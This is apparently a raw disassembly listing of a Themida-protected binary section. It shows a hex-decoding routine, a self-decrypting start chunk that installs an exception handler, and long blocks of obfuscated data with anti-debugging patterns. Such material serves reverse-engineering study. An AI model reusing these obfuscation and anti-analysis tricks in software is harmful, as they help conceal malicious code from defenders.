Themida_:004F11DDj inc dword ptr [ebp-4] inc esi loc_4F11DA: ; CODE XREF: Themida_:004F11D4j cmp byte ptr [esi], 0 jnz short loc_4F11D6 mov edx, 0 mov esi, [ebp+8] mov edi, [ebp+0Ch] jmp short loc_4F126B ; --------------------------------------------------------------------------- loc_4F11EC: ; CODE XREF: Themida_:004F126Ej mov dword ptr [ebp-8], 0 jmp short loc_4F1262 ; --------------------------------------------------------------------------- loc_4F11F5: ; CODE XREF: Themida_:004F1266j mov dword ptr [ebp-10h], 0 mov dword ptr [ebp-0Ch], 0 jmp short loc_4F124F ; --------------------------------------------------------------------------- loc_4F1205: ; CODE XREF: Themida_:004F1253j shl dword ptr [ebp-10h], 4 mov eax, [ebp-8] shl eax, 1 add eax, edx add eax, [ebp-0Ch] xor ebx, ebx mov bl, [eax+esi] cmp bl, 30h jb short loc_4F1227 cmp bl, 39h ja short loc_4F1227 sub bl, 30h jmp short loc_4F1249 ; --------------------------------------------------------------------------- loc_4F1227: ; CODE XREF: Themida_:004F121Bj ; Themida_:004F1220j cmp bl, 61h jb short loc_4F1239 cmp bl, 66h ja short loc_4F1239 sub bl, 61h add bl, 0Ah jmp short loc_4F1249 ; --------------------------------------------------------------------------- loc_4F1239: ; CODE XREF: Themida_:004F122Aj ; Themida_:004F122Fj cmp bl, 41h jb short loc_4F1249 cmp bl, 46h ja short loc_4F1249 sub bl, 41h add bl, 0Ah loc_4F1249: ; CODE XREF: Themida_:004F1225j ; Themida_:004F1237j ... add [ebp-10h], ebx inc dword ptr [ebp-0Ch] loc_4F124F: ; CODE XREF: Themida_:004F1203j cmp dword ptr [ebp-0Ch], 2 jb short loc_4F1205 cmp dword ptr [ebp-10h], 0 jbe short loc_4F125F mov eax, [ebp-10h] stosb loc_4F125F: ; CODE XREF: Themida_:004F1259j inc dword ptr [ebp-8] loc_4F1262: ; CODE XREF: Themida_:004F11F3j cmp dword ptr [ebp-8], 2 jb short loc_4F11F5 add edx, 4 loc_4F126B: ; CODE XREF: Themida_:004F11EAj cmp edx, [ebp-4] jb loc_4F11EC mov al, 0 stosb mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4F127E: ; CODE XREF: start+62051j mov ecx, 7000h lea edi, [ebp+5E235D8h] loc_4F1289: ; CODE XREF: start+62279j dec byte ptr [edi] inc edi dec ecx jnz short loc_4F1289 mov eax, 48692121h mov edx, 0F008F000h sub edx, 0F0000000h lea eax, [ebp+5E236D1h] push eax push large dword ptr fs:0 mov large fs:0, esp call $+5 pop eax sbb bx, 0D612h push 0 push ebx call sub_4F12CA and [ebx-3Dh], bl ; END OF FUNCTION CHUNK FOR start ; =============== S U B R O U T I N E ======================================= sub_4F12CA proc near ; CODE XREF: start+622AEp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ah inc ebx push ebx retn sub_4F12CA endp ; --------------------------------------------------------------------------- dw 6877h dd 7C3DD53Bh, 0FC22B81h, 58Dh, 3462BB00h, 66603936h, 8B66DF8Bh dd 2561C2h, 8BFFFFF0h, 66FF33CAh, 5A4D3881h, 0B70F0E75h dd 0D0033C50h, 45503A81h, 8740000h, 10002Dh, 0E3EB4700h dd 58F64h, 83000000h, 958D04C4h, 5E236E4h, 35FF6452h, 0 dd 258964h, 3000000h, 10002DC1h, 708B0000h, 0E68104h, 81FFFF00h dd 0FEh, 8B037680h, 0C0331C70h, 7432F883h, 3E81661Fh, 9745A4Dh dd 0EE81h, 0EB400001h, 3C7E8BEBh, 3F81FE03h, 4550h, 0E8EB4474h dd 58F64h, 83000000h, 0C36104C4h, 244C8B51h, 0B0A98110h dd 0 dd 59000010h, 51C3C033h, 10244C8Bh, 0E855h, 815D0000h dd 0E236EFEDh, 0AD858D05h, 8905E236h, 0B881h, 33595D00h dd 6496C3C0h, 58Fh, 0C4830000h, 12E904h, 94D70000h, 0FE7CE4EAh dd 43BA0BFCh, 98C63A42h, 0A1A8FCD5h, 8C668AB7h, 56006AD9h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 0E7F977EBh, 4E180BAh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 5EC35545h, 0C959CFCDh, 806AE916h, 10E9CCC7h dd 14000000h, 116916Ch, 4A0078F0h, 0E69B8086h, 0A3BD7AAh dd 74850FC9h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 0DFF3C357h, 14F18769h dd 9E8h, 0B09DAA00h, 0D2DECE9Dh, 0BF0F064Fh, 85C75BDEh dd 5E200B9h, 1, 0E38166FCh, 37E9EFFDh, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 8DF3C350h, 7B63FDF9h, 236BFEEh, 5C9DB960h, 0C7615FDDh dd 0E200B985h, 5, 8589F900h, 5E2262Dh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 52C35646h, 8B6652B3h, 0A18589D9h dd 0E805E216h, 8, 0E5EAF73Fh, 5BFC2ECCh, 2EA4D381h, 0F587230h dd 383h, 0DE8B6600h, 5992C081h, 60560000h, 0D5EF8166h dd 61595249h, 0E31BA5Bh, 0EA8119F6h, 19F5F809h, 0AE8h dd 9E881800h, 22C15E4Dh, 5EB6FA8Ch, 0B70F088Bh, 2AE981DAh dd 0BB79FE08h, 1D0B86E4h, 2453C181h, 0DF810E36h, 3DB92272h dd 86D4E981h, 5E92933h, 0FA000000h, 7218B42h, 0CE851h dd 28170000h, 11DCC0E0h, 9B055134h, 8F5B89F5h, 0CE900h dd 0FEEB0000h, 0FAA8AF51h, 0A75C00DAh, 0E883D29Eh, 0AE902h dd 894A0000h, 610A9549h, 82F25739h, 0BF0F4848h, 1EA81DFh dd 0F000000h, 2685h, 9E900h, 64A00000h, 64D430C0h, 0E901F2C4h dd 2Ah, 27B90E24h, 9FAE40A4h, 36F1D905h, 0FFE7A49Ch, 8B283321h dd 0FF5EE9D8h, 0FBFAFFFFh, 0C38BD495h, 3C2F452h, 4E67242Dh dd 5E834B1h, 0B1000000h, 31840AF6h, 0D7BF0F5Bh, 70DCC381h dd 60600000h, 0EB65C881h, 35B6678Bh, 0C68B6661h, 7B20BF61h dd 0EF8149C8h, 49C85F08h, 33FFF38Bh, 59D38B66h, 0B000C181h dd 0C68065DEh, 79E981B0h, 665EBE40h, 0F181F18Bh, 31CDFDF9h dd 50DE77B8h, 8B0B8945h, 1EB83C2h, 14E9h, 0A3AC0D00h, 5B7F58F1h dd 6F54737Eh, 0C9250B5Dh, 0C9C4912Ah, 4B4B4B6Bh, 4F9FE480h dd 0FFB0850Fh, 0F6B8FFFFh, 0E90871DBh, 705h, 128E0Fh, 0E9600000h dd 9, 4CD568C1h, 0DDD55BECh, 615F533Ah, 217h, 5E232F1h dd 85890000h, 5E21E79h dword_4F16A4 dd 0CE96060h, 34000000h, 6BC44B9Fh, 8030CCE7h, 231E5025h ; DATA XREF: Themida_:004F08CCo dd 0E218C995h, 0B86105h, 89000000h, 0E22D6985h, 24548B05h dd 1870F28h, 0F9000000h, 1898589h, 850F05E2h, 0Ch, 6870Fh dd 0B5090000h, 5E20A7Dh, 33298D29h, 3CBE05E2h, 89000000h dd 0E224BDBDh, 24740305h, 0F5B58924h, 3105E200h, 0E21B9DB5h dd 9AD6605h, 0E2327585h, 1870F05h, 0F9000000h, 24244403h dd 0DE9h, 92422B00h, 38D464E4h, 6493F3BDh, 50F5C795h, 52505250h dd 8C0Fh, 310F0000h, 585A6160h, 5E9310Fh, 4B000000h, 2D6C7037h dd 489585Ah, 6D850124h, 8B05E223h, 9D897840h, 5E2185Dh dd 28244403h, 68B0Fh, 0BD010000h, 5E2090Dh, 0CE9h, 0BB2F9100h dd 3C2C1963h, 2F86C39Fh, 18408BE6h, 14820Fh, 0FE90000h dd 0AA000000h, 8B2CD93h, 930F4D09h, 2F6E49C0h, 94056BEh dd 0E22CDDB5h, 11BD0105h, 8905E22Bh, 0E239DD85h, 8589F505h dd 5E20C75h, 0FE958h, 19370000h, 0EF63D148h, 0C8B69423h dd 0A89A1317h, 78708BBFh, 1CC683F9h, 247403F9h, 0BD8DF824h dd 5E20C69h, 830FADF9h, 17h, 12E9h, 6DF99D00h, 0EC12C3CBh dd 125EECA1h, 2AB413B9h, 3B696DEh, 29242444h, 0E20C2D95h dd 9529AB05h, 5E22365h, 2991BD8Dh, 896005E2h, 0E22125BDh dd 0D2BF0F05h, 810FAD61h, 6, 1B65BD89h, 440305E2h, 8D292424h dd 5E2190Dh, 0BE9h, 8CF4C400h, 1892EEE4h, 2297FACFh, 88A0F50h dd 60000000h, 0B9666160h, 8961FA11h, 0B5092404h, 5E20411h dd 7880Fh, 0F600000h, 5B51C3BFh, 5E9AB61h, 0D4000000h dd 7D16E5B4h, 2C71BD8Dh, 0ADF905E2h, 244403F8h, 0FE928h dd 0EC150000h, 2F3BAA72h, 6CBB1A85h, 80141FCEh, 0B98D0919h dd 0AB05E224h, 0AE9h, 0B18E8E00h, 74B72874h, 5EE2D406h dd 58565760h, 0AE96059h, 46000000h, 0E33EF3B2h, 5412BB20h dd 0E2E980CCh, 8DFF6161h, 5E239DDh, 39DDBD83h, 750005E2h dd 2444C710h, 1Ch, 4FB58D00h, 0FF05E23Eh, 3AD56E6h, 97282444h dd 858ADF8Bh, 5E20A49h, 474C084h, 4C75073Ah, 0AEC03257h dd 2B5EFD75h, 33FC52FBh, 0D18B49C9h, 0DB33C033h, 8AC132ACh dd 8AEA8ACDh, 6608B6D6h, 0D166EBD1h, 660973D8h, 66504135h dd 5449F381h, 0EB75CEFEh, 0D333C833h, 0F7D5754Fh, 8BD1F7D2h dd 10C0C1C2h, 5AC18B66h, 0F74D03Bh, 4C6835Eh, 18985FFh dd 6FE905E2h, 5EFFFFFFh, 0AA99D31h, 0DE905E2h, 0AD000000h dd 4C1A1CCDh, 9FB4662Bh, 901315CBh, 2111BD89h, 858B05E2h dd 5E20189h, 89E0D1F9h, 0E200ADB5h, 71850305h, 3105E22Ch dd 0E21E89B5h, 1F62B05h, 0E208CD85h, 860F9605h, 1, 1AD66F8h dd 0E20C3595h, 11E905h, 4BB30000h, 0AFDDA808h, 39EF1924h dd 1770A865h, 0C18C3C4Bh, 0AE902E0h, 0D000000h, 0EFACF9DAh dd 414662B2h, 698503A9h, 0FC05E20Ch, 60606096h, 820F61h dd 61000000h, 0FE9h, 228A2F00h, 55E4C9C7h, 0E311BDFh, 7C3B613Ch dd 8E9AD61h, 0E4000000h, 9489BFE7h, 8B192714h, 0FC24244Ch dd 24244403h, 7E9h, 0F014CF00h, 75DEFB95h, 1C244489h, 0E9B58B60h dd 6605E210h, 61C3FBBFh, 0E9ACF896h, 6, 839791EFh, 0C9323061h dd 18E18D01h, 0C1FE05E2h, 13CDBD89h, 0D0D005E2h, 0AC830Fh dd 8C0F0000h, 0Bh, 618D8B60h, 8005E21Ah, 0D061B5D3h, 93830FD0h dd 0E9000000h, 0Eh, 8C0459B0h, 9A277F14h, 0CB4AEF94h, 0D0D01996h dd 78820Fh, 0D0F50000h, 6F820FD0h, 89000000h, 0E22651BDh dd 0FC9FE05h, 0FFFFAD89h, 0FDB589FFh, 8305E20Ch, 810F20C4h dd 0Ch, 68C0Fh, 850F0000h, 0 dd 0B8F0Fh, 80600000h, 8589B6EFh, 5E216FDh, 2444C761h dd 0FCh, 880F6000h, 0 dd 16B59D89h, 0B86105E2h, 1, 0D759501h, 8D8D05E2h, 5E27219h dd 10D59589h, 0E1FF05E2h, 1E799589h, 85C605E2h, 5E20A49h dd 0CE900h, 0E3B10000h, 0D6F3EA3Dh, 6C1DD919h, 0EE9A9E8h dd 9D000000h, 94D8276Dh, 193CE615h, 0B64ED257h, 0C2F961D2h dd 85090008h, 5E224C1h, 5E950h, 0ED990000h, 895BC25Ch dd 12E92434h, 15000000h, 4B272655h, 5B36162Ch, 0AF2057A7h dd 0A938F041h, 72B58953h, 0F505E240h, 40A68D89h, 9D8905E2h dd 5E20BD5h, 3EFCB58Dh, 0BD0105E2h, 5E20165h, 14458501h dd 858D05E2h, 5B7E35h, 10860Fh, 0BE90000h, 23000000h, 0CC3B114Dh dd 77146424h, 0D0FF84D8h, 31018D29h, 0F55E05E2h, 0C19589C3h dd 8B05E207h, 0E24072B5h, 0B58D8905h, 6005E215h, 8AD7B70Fh dd 8D8B61F8h, 5E240A6h, 21B98529h, 0B805E2h, 31000000h dd 0E2138DBDh, 0F9D98B05h, 12DE9h, 1820F00h, 0FC000000h dd 830F2632h, 1Eh, 3DB58B60h, 0E805E224h, 10h, 536221ACh dd 0D3FA9ACh, 7E0FE25Ch, 0C1230ADFh, 8D29615Bh, 5E210E1h dd 853102B2h, 5E2232Dh, 0BBE9h, 10E900h, 3480000h, 43484B73h dd 24122B48h, 528ABF52h, 0C2322595h, 8890Fh, 0F600000h dd 85h, 50606100h, 13E9h, 5C3D7500h, 0DF2EC1B2h, 0C51A07FAh dd 29079FA0h, 85F945A7h, 7A05615Bh, 0F8A751Dh, 0E87h, 0B58B6000h dd 5E229BDh, 8C0Fh, 60610000h, 9E8h, 27D4A100h, 0A3B6F159h dd 0D3810D83h, 31516042h, 6128B45Ah, 8E9CC8Ah, 78000000h dd 50E32E5Dh, 0D307194Ch, 0CE9C8h, 56330000h, 0D9CB338Ah dd 0BC5B35CFh, 4235556Fh, 0E998D108h, 0Fh, 438E7049h, 0B17624F6h dd 0DE62DACCh, 0FEFA62DEh, 6E9CAh, 0ECAD0000h, 6C88C62Ah dd 850FD20Ah, 0FFFFFF52h, 7E9h, 0D88EB700h, 6CBC6AA5h dd 8166604Bh, 8939B6E8h, 0E20FD59Dh, 0E9466105h, 0Ah, 0DA093F45h dd 4259C6FDh, 0DB0B2FE8h, 0FED2850Fh, 8E9FFFFh, 0AC000000h dd 0E86F3909h, 0CFDC5312h, 0F0000FCh, 168Fh, 11E900h, 0EA9C0000h dd 0BBE0E91Ch, 37F2EAD2h, 9D4F4F91h, 1E2783h, 0E8D0F00h dd 60000000h, 305D958Bh, 8B0F05E2h, 0 dd 89000061h, 0E221ED9Dh, 60000005h, 0AE8h, 0D4BD600h dd 72BFB30h, 0B58B8D25h, 0B58959CEh, 5E20B81h, 0ED858D61h dd 0FC05E239h, 2C158589h, 800F05E2h, 1, 85858DF8h, 0FC05E23Eh dd 0A880Fh, 66600000h, 78D5E781h, 61AFC880h, 1C798589h dd 14EB05E2h, 4 dup(0) dd 88h, 41C8858Dh, 858905E2h, 5E22639h, 4109BD83h, 0F0005E2h dd 13484h, 4985C600h, 5605E20Ah, 26EB2D68h, 24348187h dd 53398614h, 262DB5FFh, 858D05E2h, 5E239EDh, 8589D0FFh dd 5E240FDh, 0A4985C6h, 685605E2h, 6626EA36h, 1C240481h dd 0FF3681CEh, 0E2262DB5h, 0ED858D05h, 0FF05E239h, 18589D0h dd 6A05E241h, 4E804h, 10000000h, 8B500000h, 8B042444h dd 24448900h, 858B5804h, 5E2410Dh, 1F405h, 2E0C100h, 6A905090h dd 195FF00h, 8905E241h, 0E2410585h, 0B8D88B05h, 0FFFFFFFFh dd 263995FFh, 0C38B05E2h, 263995FFh, 96E905E2h db 3 dup(0) byte_4F1E7F db 83h ; DATA XREF: Themida_:004F02F0o dd 0E24109BDh, 850F0005h, 1, 0BD8B57C3h, 5E24105h, 58583ABh dd 405E241h, 0BD83C35Fh, 5E24109h, 1850F00h, 0C3000000h dd 5AD8360h, 405E241h, 41059D8Bh, 7B8305E2h, 850FFFFCh dd 26h, 4E8h, 800000h, 448B5000h, 8B0424h, 4244489h, 0FF006A58h dd 0FD95FF33h, 6105E240h, 26E9C3h, 4E80000h, 0 dd 50000080h, 424448Bh, 4489008Bh, 6A580424h, 0FF33FF00h dd 0E240FD95h, 5AD8305h, 405E241h, 0FFFF9FE9h, 0D3E948FFh dd 60000009h, 908EF4E8h, 8B9C818h, 0AEAD6952h, 5E588282h dd 1309AAFBh, 3DD323FFh, 4018F4CDh, 3DCF23F4h, 9B83F4CEh dd 1AB1C45Ah, 0BFFE3B45h, 511D8590h, 636AC5B0h, 20C729F5h dd 404AF8CCh, 32C921F4h, 8183F4CDh, 0ACDB5Ah, 0A3E03B5Ah dd 450A9E8Eh, 5709AEBEh, 20C33EB9h, 4118B5DDh, 26C934BAh dd 879AF4DBh, 0EACDA15h, 355Ah, 62h dup(0) dd 60000000h, 9A87F4E8h, 0AAD414h, 0B4FD3B45h, 5D0A968Ch dd 520FEFF3h, 36C46CEAh, 534ABACCh, 37C838F5h, 9B9FA689h dd 8B0D414h, 0E6E37217h, 4E0D9E9Ah, 401EBCBEh, 7DCB29EDh dd 593AD9A3h, 36D52CFFh, 9B9FF485h, 0BBFD216h, 0E6F97217h dd 51178385h, 5E02A2BEh, 73DF3EF6h, 150EBAC8h, 27D528E8h dd 0D59EA6C8h, 1DABD203h, 0A9FF6B17h, 51198384h, 0B0h dd 47h dup(0) dd 60000000h, 8789F4E8h, 0AB5DE1Bh, 0E6FE3C45h, 50179E97h dd 4006A7BEh, 36C32EB9h, 5A0CF4C7h, 73C223EFh, 9B84A1DBh dd 4FB9D313h, 0BFAD755Eh, 1C0A848Ch, 4714B6EDh, 598821FCh dd 500684A4h, 7FC33EFBh, 9984A189h, 4FBADC15h, 0A0AD6F5Eh dd 1C159E91h, 5C0AAAF3h, 328635EBh, 474AB0C7h, 32D23EFFh dd 8CCAA0DBh, 4FACC815h, 0A1E26947h, 12159091h, 61h dup(0) dd 60000000h, 9086BDEFh, 1DB1DE5Ah, 0B2FD6E45h, 12599586h dd 5A0F9BBEh, 21D66CEAh, 5418B3C6h, 32CE6DF7h, 9088F4DAh dd 2FED31Fh, 0B6E47556h, 48199D96h, 5247ABFBh, 3E8628F7h dd 5008ADC8h, 27CF4090h, 9CCAA78Eh, 0CBBDB14h, 0E6E97E43h dd 5D588881h, 410E99BEh, 3C863FECh, 4709F4DBh, 36CD2EFBh dd 0A1CAFACDh, 4FADD412h, 0A3E17251h, 521786C3h, 4447BBB9h dd 73CD3EF6h, 5813BAC8h, 7DC33FF5h, 0E0h dup(0) dd 57000000h, 6D754E4Ch, 734C4C44h, 746F7250h, 3000h, 8 dup(0) dd 69784500h, 74532074h, 73757461h, 25203D20h, 64h, 0 dd 3AE90000h, 8900002Fh, 0E2077D85h, 9D0BFC05h, 5E200BDh dd 0BA34BB66h, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 0B9E0B7C3h, 68D0Fh, 9D8B0000h, 5E20CEDh dd 1EA9BD83h, 750005E2h, 5BD8309h, 5E218h, 53501374h, 1B8C08Bh dd 8D000000h, 0E4B19C9Dh, 5BD3FF05h, 5BD8358h, 5E218h dd 53501174h, 1B8h, 4D9D8D00h, 0FF05E4B0h, 50585BD3h, 1FAD9D8Bh dd 6A5A05E2h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 3C6DC356h, 5330F84Eh, 0C08B5BF5h dd 1DBD83F8h, 5E225h, 19E840Fh, 958B0000h, 5E20425h, 1009BD83h dd 0F0005E2h, 18B84h, 558D8900h, 6005E217h, 0A5CFCA81h dd 858B116Eh, 5E21009h, 18F19589h, 0B70F05E2h, 3E805D8h dd 95290000h, 5E21D1Dh, 2890F90h, 8A000000h, 8B0F50FAh dd 0Dh, 6E960h, 78740000h, 0E55DB9B4h, 0E3809061h, 1E858D53h dd 905E24Ch, 0E21F91B5h, 36B35005h, 31240489h, 0E2315585h dd 0FC858D05h, 0F905E24Bh, 0F48A6090h, 61D68B66h, 56606050h dd 5E95Ah, 15F20000h, 619044B4h, 52505250h, 2 dup(585A310Fh) dd 0D38B9061h, 2C2995FFh, 6A05E2h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 0DBDDBCC3h, 8C81F875h dd 0FC492EE3h, 0DF8B7AB2h, 660CC483h, 0E960DA8Bh, 0Dh dd 0B6A6D43Ah, 3571D8FAh, 795140EDh, 14E8F8h, 0C7690000h dd 56FE9656h, 0AA8A27AFh, 11EF2123h, 6ACCE1E5h, 8589F09Dh dd 5E22AD9h, 858D615Fh, 5E24BFCh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 77C35040h, 8B665050h, 4895ADEh dd 819D8B24h, 6A05E22Ah, 9D9D2B02h, 6005E208h, 2C79BD89h dd 31BF05E2h, 61329107h, 857495FFh, 6A0068h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0B9A621C3h dd 5B095CFh, 0B2FCA534h, 6A619Eh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 0D18BC8C3h, 4C2F85C7h dd 105E2h, 8D890000h, 5E2054Dh, 10E950h, 51D60000h, 53312637h dd 4B7DDBE5h, 0AC8374E2h, 3489A5B9h, 57006A24h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 851A473Bh dd 0D88B6047h, 8E9h, 0EECEED00h, 75947854h, 0B589617Bh dd 5E24BE0h, 0FDEBF0Fh, 0BD83DBBFh, 5E200B9h, 42850F01h dd 89000000h, 0E217698Dh, 5F88305h, 33850Fh, 0B70F0000h dd 0B8D8h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 9CD4A8C3h, 7DCA1BC2h, 0B5015724h dd 5E21035h, 81BD835Ah, 5E204h, 28840Fh, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 3D3F99C3h, 0B8832Eh, 0F000000h, 8B60D2B7h, 0E20E3995h dd 35858B05h, 8B05E21Fh, 0E21F4D9Dh, 2C08305h, 1345B531h dd 8F0F05E2h, 0 dd 4BD88589h, 9D8B05E2h, 5E217A9h, 9FF00C6h, 0E205C98Dh dd 4985C605h, 5305E20Ah, 85858951h, 5B05E20Ch, 4A2ED68h dd 4FB860C3h, 0E911AB64h, 8, 2BCB7564h, 0B345A1B7h, 24348161h dd 3FB5EA35h, 0DE9h, 0AD0D7600h, 8A7314F0h, 5C3D758Eh dd 0B5FFC1B2h, 5E216A1h, 8AD9D8Bh, 858D05E2h, 5E57A61h dd 0A19503h, 0D0FF05E2h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 0F0C35343h, 0B378C933h, 13E8h, 4D751E00h dd 3475BF43h, 0FABA70D5h, 831DE6D4h, 0CCB3CFA7h, 0E85AACB2h dd 0Dh, 4F285CF3h, 1D74245Ch, 0AFF9EF59h, 62F38180h, 5B28913Ah dd 0AB98589h, 858905E2h, 5E22AEDh, 1D29BD83h, 0F0105E2h dd 0AF85h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 890FE5E3h, 6, 10A98589h, 0C66105E2h dd 0E20A4985h, 4E84505h, 0C2000000h, 0E9DA6038h, 10h, 0D3DE31CBh dd 43C6C7D9h, 992A816Eh, 8544C777h, 8B87B650h, 60042444h dd 8B665250h, 5A310FD0h, 8B6158h, 4489DF8Bh, 830F0424h dd 8, 28C0Fh, 28B60000h, 0FFDF8B58h, 0E216A1B5h, 6850F05h dd 31000000h, 0E204A995h, 61858D05h, 6605E57Ah, 5137E281h dd 0C780D0FFh, 89006A70h, 0E21EF18Dh, 66D0FF05h, 958BD78Bh dd 5E22A89h, 219DBD83h, 0F0105E2h, 0BE85h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 60E8ADB5h, 1F35858Bh, 2B5605E2h, 0E20E259Dh, 51E95B05h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 66B4C356h, 0B514320Fh, 6F028764h dd 0DE8B6690h, 2931BB50h, 0F906CA6h, 146AD1BFh, 9B589h dd 95FF05E2h, 5E20AB9h, 8E9h, 0C13B3400h, 66750115h, 0FD8A58AEh dd 0F003880h, 0FFFFCB85h, 0BD0150FFh, 5E207A5h, 100C65Ah dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 8CC35545h dd 800F0AC6h, 3, 61D9BF0Fh, 0B1BD83F5h, 5E219h, 4B840Fh dd 0C6800000h, 51D2818Eh, 6A789997h, 519D2BFFh, 0FF05E21Bh dd 0E20AB995h, 85F38105h, 2308CDA5h, 0E219799Dh, 0FFE1E905h dd 6AFFFFh, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 6218CFC3h, 0B5CA8166h, 0B185C79Fh, 105E219h dd 80000000h, 858990DFh, 5E24BE4h, 0B318589h, 0BA6605E2h dd 8B90036Fh, 525050D8h, 310FDE8Ah, 5AD08B66h, 0BA669058h dd 89603D35h, 0E214C5B5h, 52056A05h, 94B35AFCh, 4BFC858Dh dd 6A05E2h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 7D94A0C3h, 0B5559A1Eh, 0D08BD88Bh, 5838BB50h dd 4893DBCh, 0D18B6624h, 4BEC858Dh, 958B05E2h, 5E2217Dh dd 505BFC50h, 15890F60h, 0E9000000h, 10h, 47763251h, 0B34A27EFh dd 0EBDAE7D9h, 0B7F581F3h, 24048961h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 0F0C35040h, 0FE85Ch, 89370000h dd 919B619Ch, 55FFBBABh, 0E169E1F8h, 14E9A8h, 86C80000h dd 74459816h, 0E735331Ch, 0CC942126h, 5FD18C2Fh, 0FF5A38A9h dd 0E2112D95h, 52006A05h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 8A0F73DEh, 3, 0F04E780h dd 0C87h, 68A0F00h, 89000000h, 0E2216185h, 0F38D8D05h dd 0FC05E27Ah, 1174C00Bh, 4BFC858Dh, 0FF5005E2h, 1A8589D1h dd 0EB05E24Ch, 1A85C70Ah, 0FF05E24Ch, 60FFFFFFh, 0F7BF0F52h dd 19858B58h, 6105E218h, 75B58B60h, 6105E21Ch, 8ADEB70Fh dd 0EB8161D0h, 1BEB7FABh, 0A4985C6h, 814D05E2h, 3413A9D2h dd 5F516876h, 4813056h, 0DF175724h, 55958973h, 0FF05E231h dd 0E21635B5h, 57006A05h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 0EE111661h, 0E1219D75h dd 858D5670h, 5E57A61h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 46C35242h, 81663BF7h, 0FFDE61CAh, 0DFCA80D0h dd 2A6D8589h, 950105E2h, 5E215E5h, 0A4985C6h, 814505E2h dd 0DDE237CBh, 4E8F952h, 69000000h, 608E7269h, 195FBF52h dd 605813DFh, 0DA186BBEh, 0FE902h, 500C0000h, 62DFA61Fh dd 99169F1h, 499ADA14h, 50616100h, 448B15B3h, 0D88B0424h dd 0B0B2008Bh, 4244489h, 14860Fh, 0FE90000h, 96000000h dd 90691EEAh, 0A3A5037Ah, 0E02CFD78h, 6A58F2E4h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 87C5C355h, 1C93CB9Dh, 0B589FA20h, 5E22FD1h, 3F28166h dd 0A1B5FF32h, 6A05E216h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 1CCEC356h, 0E459D06Dh dd 0CFC68060h, 13C19D8Bh, 8D6105E2h, 0E57A6185h, 0D0FFF805h dd 29B5958Bh, 858905E2h, 5E20405h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 18h, 4EC35646h, 0E5BC59B8h, 7D8D8960h dd 6605E206h, 8B61D78Bh, 859D8BD2h, 8905E20Eh, 0E21F99BDh dd 0D98C6605h, 18B0Fh, 0F6F90000h, 840F04C1h, 29Fh, 3810Fh dd 0B70F0000h, 18BE9D2h, 0B58B0000h, 5E2234Dh, 5DD10BBAh dd 80C6810Bh, 6A000011h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 19042444h, 42000000h, 0FB8DC352h, 3FF30996h dd 13E9h, 0D82A2600h, 292C94C1h, 0D470CF6Eh, 3653EC24h dd 0A60C207Eh, 6890Fh, 8D290000h, 5E230F9h, 1FEDBD83h dd 0F0005E2h, 5F85h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 0EBD57178h, 880FF084h dd 6, 2C2DB529h, 852905E2h, 5E223A1h, 0E4E9h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 0D5DC642Ch, 0B58900A8h, 5E21481h, 0F003E83h, 0B484h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 0B7F206EAh, 8D896045h, 5E2331Dh, 6A146Ah dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 40C18CC3h, 0A14BEAE5h, 0B995FF11h, 5205E20Ah, 16B5B529h dd 815B05E2h, 0CD3D6EEAh, 6A6164h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 911706C3h, 8368AFh, 0D19589AFh dd 0E905E224h, 0FFFFFF68h, 8E960h, 5F9D0000h, 0FC189905h dd 11E9511Dh, 0E8000000h, 304E84E9h, 13681F32h, 3E9D2075h dd 0B142D8E5h, 106C761h, 8B000000h, 0E21E4D9Dh, 0E4BD8305h dd 505E24Bh, 0F9850Fh, 10E80000h, 0DB000000h, 3AFD267Bh dd 0C3B96297h, 736A0238h, 0E95A3F00h, 5, 